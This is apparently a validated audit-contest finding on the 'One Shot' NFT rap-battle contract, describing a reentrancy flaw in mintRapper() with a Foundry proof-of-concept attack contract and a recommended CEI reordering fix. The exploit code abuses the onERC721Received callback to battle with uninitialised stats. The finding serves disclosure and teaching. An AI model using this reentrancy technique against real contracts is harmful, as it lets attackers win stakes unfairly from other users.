First Flight #10: One Shot
First Flight #10
Beginner FriendlyFoundryNFT
100 EXP
View results
Previous Next
Submission Details
Severity: medium
Valid

Reentrancy vulnerability in `OneShot::mintRapper()` allow users to temporarily gain additional skills, thereby increasing their chances of winning battles during that period

davide

Summary

The OneShot::mintRapper() function presents a reentrancy vulnerability due to its non-compliance with the Checks-Effects-Interactions (CEI) pattern. This flaw allows attackers to exploit the system by creating a contract specifically for minting new rappers. Attackers can then engage and win in battles against defenders with skill points under 65.

Vulnerability Details

The issue stems from the OneShot::mintRapper() function executing safeMint() prior to updating the RapperStats, violating the CEI pattern. This order of operations allows for the minting of a rapper without proper initialization of their statistics:

function mintRapper() public {
uint256 tokenId = _nextTokenId++;
@> _safeMint(msg.sender, tokenId);
​
// Initialize metadata for the minted token
@> rapperStats[tokenId] =
RapperStats({weakKnees: true, heavyArms: true, spaghettiSweater: true, calmAndReady: false, battlesWon: 0});
}

However, due to improper initialization, the newly minted rapper's stats default to zero values, inadvertently assigning them 65 skill points:

struct RapperStats {
bool weakKnees;
bool heavyArms;
bool spaghettiSweater;
bool calmAndReady;
uint256 battlesWon;
}

The resulting RapperStats of the tokenId we are minting will be RapperStats({ weakKnees: false, heavyArms: false, spaghettiSweater: false, calmAndReady: false, battlesWon: 0 }), giving us 65 points.

An attacker can deploy a contract that implements the onERC721Received() function, which is invoked by _safeMint() to ensure the recipient can accept ERC721 tokens. This contract can then initiate RapBattle::goOnStageOrBattle() against a defender with less than 65 skill points, leveraging the flawed stat assignment for an unfair advantage.

POC The following addition to `OneShotTest.t.sol` demonstrates the exploit:
contract MintAndAttack is IERC721Receiver {
OneShot oneShot;
RapBattle rapBattle;
​
constructor(address oneShotAddress, address rapBattleAddress) {
oneShot = OneShot(oneShotAddress);
rapBattle = RapBattle(rapBattleAddress);
}
​
function attack() external {
oneShot.mintRapper();
}
​
function onERC721Received(address, address, uint256 tokenId, bytes calldata) external override returns (bytes4) {
oneShot.approve(address(rapBattle), tokenId);
require(rapBattle.getRapperSkill(tokenId) > rapBattle.getRapperSkill(0), "I'm gonna lose");
rapBattle.goOnStageOrBattle(tokenId, rapBattle.defenderBet());
return IERC721Receiver.onERC721Received.selector;
}
}
function testMintAndAttackBattle() public {
// 1. There is a defender on stage
vm.startPrank(user);
oneShot.mintRapper();
oneShot.approve(address(rapBattle), 0);
rapBattle.goOnStageOrBattle(0, 0);
vm.stopPrank();
​
// 2. Defender: 50 skill points
// Attacker: 65 skill points (default values on the struct before being updated after the mint)
console.log("Defender Skill: ", rapBattle.getRapperSkill(0));
console.log("Attacker Skill: ", rapBattle.getRapperSkill(1));
​
// 3. Attacker see a defender on stage with less than 65 skill points, mint and go on stage to win the battle before the stats are updated
vm.startPrank(challenger);
MintAndAttack attackContract = new MintAndAttack(address(oneShot), address(rapBattle));
attackContract.attack();
vm.stopPrank();
}

Impact

This vulnerability allows an attacker to mint a rapper with artificially high skill points (equivalent to a 3-day stake) and exploit this to win battles against less skilled defenders.

Tools Used

Manual review.

Recommendations

To mitigate this vulnerability, the order of operations in OneShot::mintRapper() should be adjusted to adhere to the CEI pattern, ensuring proper initialization of rapper stats before the minting process:

function mintRapper() public {
uint256 tokenId = _nextTokenId++;
- _safeMint(msg.sender, tokenId);
+ // Initialize metadata for the minted token
+ rapperStats[tokenId] =
+ RapperStats({weakKnees: true, heavyArms: true, spaghettiSweater: true, calmAndReady: false, battlesWon: 0});
​
- // Initialize metadata for the minted token
- rapperStats[tokenId] =
- RapperStats({weakKnees: true, heavyArms: true, spaghettiSweater: true, calmAndReady: false, battlesWon: 0});
+ _safeMint(msg.sender, tokenId);
}
Updates

Lead Judging Commences

inallhonesty Lead Judge over 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

mintRapper reentrancy leads to fighting having better chances of winning.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.